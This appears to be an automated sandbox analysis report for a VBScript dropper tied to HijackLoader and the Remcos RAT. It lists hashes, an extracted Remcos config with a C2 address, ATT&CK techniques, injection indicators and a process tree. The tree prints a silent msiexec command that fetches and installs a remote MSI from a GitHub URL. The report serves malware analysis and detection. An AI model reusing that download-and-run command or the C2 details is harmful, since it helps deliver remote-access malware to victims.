hijackloader | 41590f3a8ba3c910f11fd5fa095856d5bc556f20fa4fd6d269aa1be4e08b4c64

Analysis

max time kernel
148s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
30-01-2025 20:01

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General

Target

secondaryTask.vbs
Size

512B
MD5

bcc1d6a3c9aeec994cd31f86ada37ae6
SHA1

0b7bb7af96d842cfbb7a89793a4292fec4289a8c
SHA256

41590f3a8ba3c910f11fd5fa095856d5bc556f20fa4fd6d269aa1be4e08b4c64
SHA512

8793e62dc4a9465ef5254e15b3471573a242705dfdf74bd3d09d97c10dd84daf69aa8c0b5c9bc3c5a7302e431fc2ed417b1e6c194da106765e50ad385ea955b7

Score

10^/10

hijackloader remcos v2 discovery loader rat

Malware Config

Extracted

Family

remcos

Botnet

185.157.162.126:1995

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
qsdazeazd-EL00KX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023cb5-49.dat	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1412605595-2147700071-3468511006-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4272	EHttpSrv.exe

Loads dropped DLL 7 IoCs

pid	Process
3752	MsiExec.exe
3752	MsiExec.exe
3752	MsiExec.exe
3752	MsiExec.exe
4272	EHttpSrv.exe
4272	EHttpSrv.exe
2540	EHttpSrv.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
3908	msiexec.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	2972	msiexec.exe
20	2972	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	raw.githubusercontent.com
20	raw.githubusercontent.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4272 set thread context of 4820	4272	EHttpSrv.exe	90
PID 4820 set thread context of 2540	4820	cmd.exe	95

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Common Files\PackagerUpdt\audiogram.tif	msiexec.exe
File created	C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe	msiexec.exe
File created	C:\Program Files (x86)\Common Files\PackagerUpdt\http_dll.dll	msiexec.exe
File created	C:\Program Files (x86)\Common Files\PackagerUpdt\mfc80u.dll	msiexec.exe
File created	C:\Program Files (x86)\Common Files\PackagerUpdt\Microsoft.VC80.CRT.manifest	msiexec.exe
File created	C:\Program Files (x86)\Common Files\PackagerUpdt\Microsoft.VC80.MFC.manifest	msiexec.exe
File created	C:\Program Files (x86)\Common Files\PackagerUpdt\Microsoft.VC80.MFCLOC.manifest	msiexec.exe
File created	C:\Program Files (x86)\Common Files\PackagerUpdt\msvcr80.dll	msiexec.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIBD08.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBD97.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBDD7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB788.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBC0D.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBD77.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2972	msiexec.exe
2972	msiexec.exe
4272	EHttpSrv.exe
4820	cmd.exe
4820	cmd.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4272	EHttpSrv.exe
4820	cmd.exe
4820	cmd.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3908	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3908	msiexec.exe
Token: SeSecurityPrivilege	2972	msiexec.exe
Token: SeCreateTokenPrivilege	3908	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3908	msiexec.exe
Token: SeLockMemoryPrivilege	3908	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3908	msiexec.exe
Token: SeMachineAccountPrivilege	3908	msiexec.exe
Token: SeTcbPrivilege	3908	msiexec.exe
Token: SeSecurityPrivilege	3908	msiexec.exe
Token: SeTakeOwnershipPrivilege	3908	msiexec.exe
Token: SeLoadDriverPrivilege	3908	msiexec.exe
Token: SeSystemProfilePrivilege	3908	msiexec.exe
Token: SeSystemtimePrivilege	3908	msiexec.exe
Token: SeProfSingleProcessPrivilege	3908	msiexec.exe
Token: SeIncBasePriorityPrivilege	3908	msiexec.exe
Token: SeCreatePagefilePrivilege	3908	msiexec.exe
Token: SeCreatePermanentPrivilege	3908	msiexec.exe
Token: SeBackupPrivilege	3908	msiexec.exe
Token: SeRestorePrivilege	3908	msiexec.exe
Token: SeShutdownPrivilege	3908	msiexec.exe
Token: SeDebugPrivilege	3908	msiexec.exe
Token: SeAuditPrivilege	3908	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3908	msiexec.exe
Token: SeChangeNotifyPrivilege	3908	msiexec.exe
Token: SeRemoteShutdownPrivilege	3908	msiexec.exe
Token: SeUndockPrivilege	3908	msiexec.exe
Token: SeSyncAgentPrivilege	3908	msiexec.exe
Token: SeEnableDelegationPrivilege	3908	msiexec.exe
Token: SeManageVolumePrivilege	3908	msiexec.exe
Token: SeImpersonatePrivilege	3908	msiexec.exe
Token: SeCreateGlobalPrivilege	3908	msiexec.exe
Token: SeRestorePrivilege	2972	msiexec.exe
Token: SeTakeOwnershipPrivilege	2972	msiexec.exe
Token: SeRestorePrivilege	2972	msiexec.exe
Token: SeTakeOwnershipPrivilege	2972	msiexec.exe
Token: SeRestorePrivilege	2972	msiexec.exe
Token: SeTakeOwnershipPrivilege	2972	msiexec.exe
Token: SeRestorePrivilege	2972	msiexec.exe
Token: SeTakeOwnershipPrivilege	2972	msiexec.exe
Token: SeRestorePrivilege	2972	msiexec.exe
Token: SeTakeOwnershipPrivilege	2972	msiexec.exe
Token: SeRestorePrivilege	2972	msiexec.exe
Token: SeTakeOwnershipPrivilege	2972	msiexec.exe
Token: SeRestorePrivilege	2972	msiexec.exe
Token: SeTakeOwnershipPrivilege	2972	msiexec.exe
Token: SeRestorePrivilege	2972	msiexec.exe
Token: SeTakeOwnershipPrivilege	2972	msiexec.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 3908	1900	WScript.exe	83
PID 1900 wrote to memory of 3908	1900	WScript.exe	83
PID 2972 wrote to memory of 3752	2972	msiexec.exe	88
PID 2972 wrote to memory of 3752	2972	msiexec.exe	88
PID 2972 wrote to memory of 3752	2972	msiexec.exe	88
PID 2972 wrote to memory of 4272	2972	msiexec.exe	89
PID 2972 wrote to memory of 4272	2972	msiexec.exe	89
PID 2972 wrote to memory of 4272	2972	msiexec.exe	89
PID 4272 wrote to memory of 4820	4272	EHttpSrv.exe	90
PID 4272 wrote to memory of 4820	4272	EHttpSrv.exe	90
PID 4272 wrote to memory of 4820	4272	EHttpSrv.exe	90
PID 4272 wrote to memory of 4820	4272	EHttpSrv.exe	90
PID 4820 wrote to memory of 2540	4820	cmd.exe	95
PID 4820 wrote to memory of 2540	4820	cmd.exe	95
PID 4820 wrote to memory of 2540	4820	cmd.exe	95
PID 4820 wrote to memory of 2540	4820	cmd.exe	95
PID 4820 wrote to memory of 2540	4820	cmd.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\secondaryTask.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "https://github.com/Kroby5444/Jim/raw/refs/heads/main/Slf.msi" /qn
  2⤵
  - Use of msiexec (install) with remote resource
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:3908

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 8983F0AC0285260764C6B211635B8FD9
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3752
- C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe
  "C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4820
  - - C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe
      "C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe"
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:2540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e57bda5.rbs

Filesize
2KB

MD5
48c6ae1a5f719273ce078e99e1dd9e85

SHA1
a1bcb64cc747041e04a298394e5c20634d54a0e7

SHA256
dbe4ac9c6837c878cd8a280581098c4d546b7057af5501121cfc91e83a3b6fa3

SHA512
8da2fd90ec318af744d3f59dda4f0a94460340a987ba9974890437bc4392ebb0aef456d24e2e9f455eb243955ae0509d1f73876ab75e50f8e3435b1650cce491

Download Submit
C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe

Filesize
20KB

MD5
9329ba45c8b97485926a171e34c2abb8

SHA1
20118bc0432b4e8b3660a4b038b20ca28f721e5c

SHA256
effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

SHA512
0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

Download Submit
C:\Program Files (x86)\Common Files\PackagerUpdt\MFC80U.DLL

Filesize
1.0MB

MD5
686b224b4987c22b153fbb545fee9657

SHA1
684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

SHA256
a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

SHA512
44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

Download Submit
C:\Program Files (x86)\Common Files\PackagerUpdt\audiogram.tif

Filesize
877KB

MD5
5124236fd955464317fbb1f344a1d2f2

SHA1
fe3a91e252f1dc3c3b4980ade7157369ea6f5097

SHA256
ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

SHA512
2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

Download Submit
C:\Program Files (x86)\Common Files\PackagerUpdt\http_dll.dll

Filesize
2.3MB

MD5
1e2a640f1a98da16fc61c865cec7d54e

SHA1
178563fab7b06e99551f66ba090d0911205a2fe4

SHA256
e296a18272a7bde471f37e51d49e6febe944ed4e78a2d5e79f1b2ee3330fb10f

SHA512
2426b1ce2bd01af6f34c56e1ef0290e521566ae1196a15aeb594bcf33793aa405ce01b4196bfe48de33320bab7a570a55110995025c54edcf790c2d10166fa9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\57c3c5ff

Filesize
1.0MB

MD5
ee00dce3815c19020f923df84d0b285a

SHA1
f5ea821dd425a3b97fc8b446eaf7819e65a5af3a

SHA256
3c0b2547625c8629a5ad298a47f201643225cc76563f256c7dadc2f5ade75853

SHA512
72ce5082472ca2bf26db0abfcdcc3abd3e99df43ed536476944a447138b1bc393db0f41307ff832c35d35d7689e8e32054a673c296cdcdb1b129e45af2510add

Download Submit
C:\Windows\Installer\MSIB788.tmp

Filesize
4.3MB

MD5
8e31046891c36ca794fb01262cd890d9

SHA1
7f812da89f328e871290be32bdead1fc869377d6

SHA256
d03d7ea5956a5d9ca6c1b1af800350b6ef400815b452f69a886f4156ba1a3ec5

SHA512
95c4c8f0196a8e373913fc41eb44c70fa8abbea38324993aa42ca05be5d6229430a4e2a4671a914a4f00986b75845c247a91809aae994ff835aa56614606840d

Download Submit
C:\Windows\Installer\MSIBC0D.tmp

Filesize
557KB

MD5
2c9c51ac508570303c6d46c0571ea3a1

SHA1
e3e0fe08fa11a43c8bca533f212bdf0704c726d5

SHA256
ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

SHA512
df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

Download Submit
memory/2540-61-0x0000000072B10000-0x0000000073D64000-memory.dmp

Filesize
18.3MB

Download
memory/2540-70-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-78-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-77-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-76-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-63-0x00007FFCE5210000-0x00007FFCE5405000-memory.dmp

Filesize
2.0MB

Download
memory/2540-64-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-67-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-68-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-75-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-71-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-72-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-73-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/2540-74-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4272-51-0x0000000073F50000-0x00000000740CB000-memory.dmp

Filesize
1.5MB

Download
memory/4272-50-0x0000000073F50000-0x00000000740CB000-memory.dmp

Filesize
1.5MB

Download
memory/4820-59-0x0000000073F50000-0x00000000740CB000-memory.dmp

Filesize
1.5MB

Download
memory/4820-57-0x00007FFCE5210000-0x00007FFCE5405000-memory.dmp

Filesize
2.0MB

Download